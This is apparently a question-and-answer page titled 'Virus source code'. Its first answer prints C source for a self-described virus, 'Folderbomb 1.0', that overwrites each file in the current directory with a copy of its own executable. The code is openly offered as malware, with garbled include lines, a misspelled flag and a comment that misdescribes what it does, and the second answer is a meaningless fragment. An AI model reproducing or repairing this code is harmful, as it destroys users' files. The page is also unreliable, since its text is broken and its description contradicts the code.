Virus source code

Answer 1

If you're talking about viruses on your computer, No you cannot.

Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.

There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program.

/*this is a simple program to create a virus in c

it will create folder in a folder in a folder and so on run this on your own responsibility*/

1. include
2. include
3. include
4. include
5. include

void main(int argc,char* argv[])

{ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }

Answer 2

to distruction of computer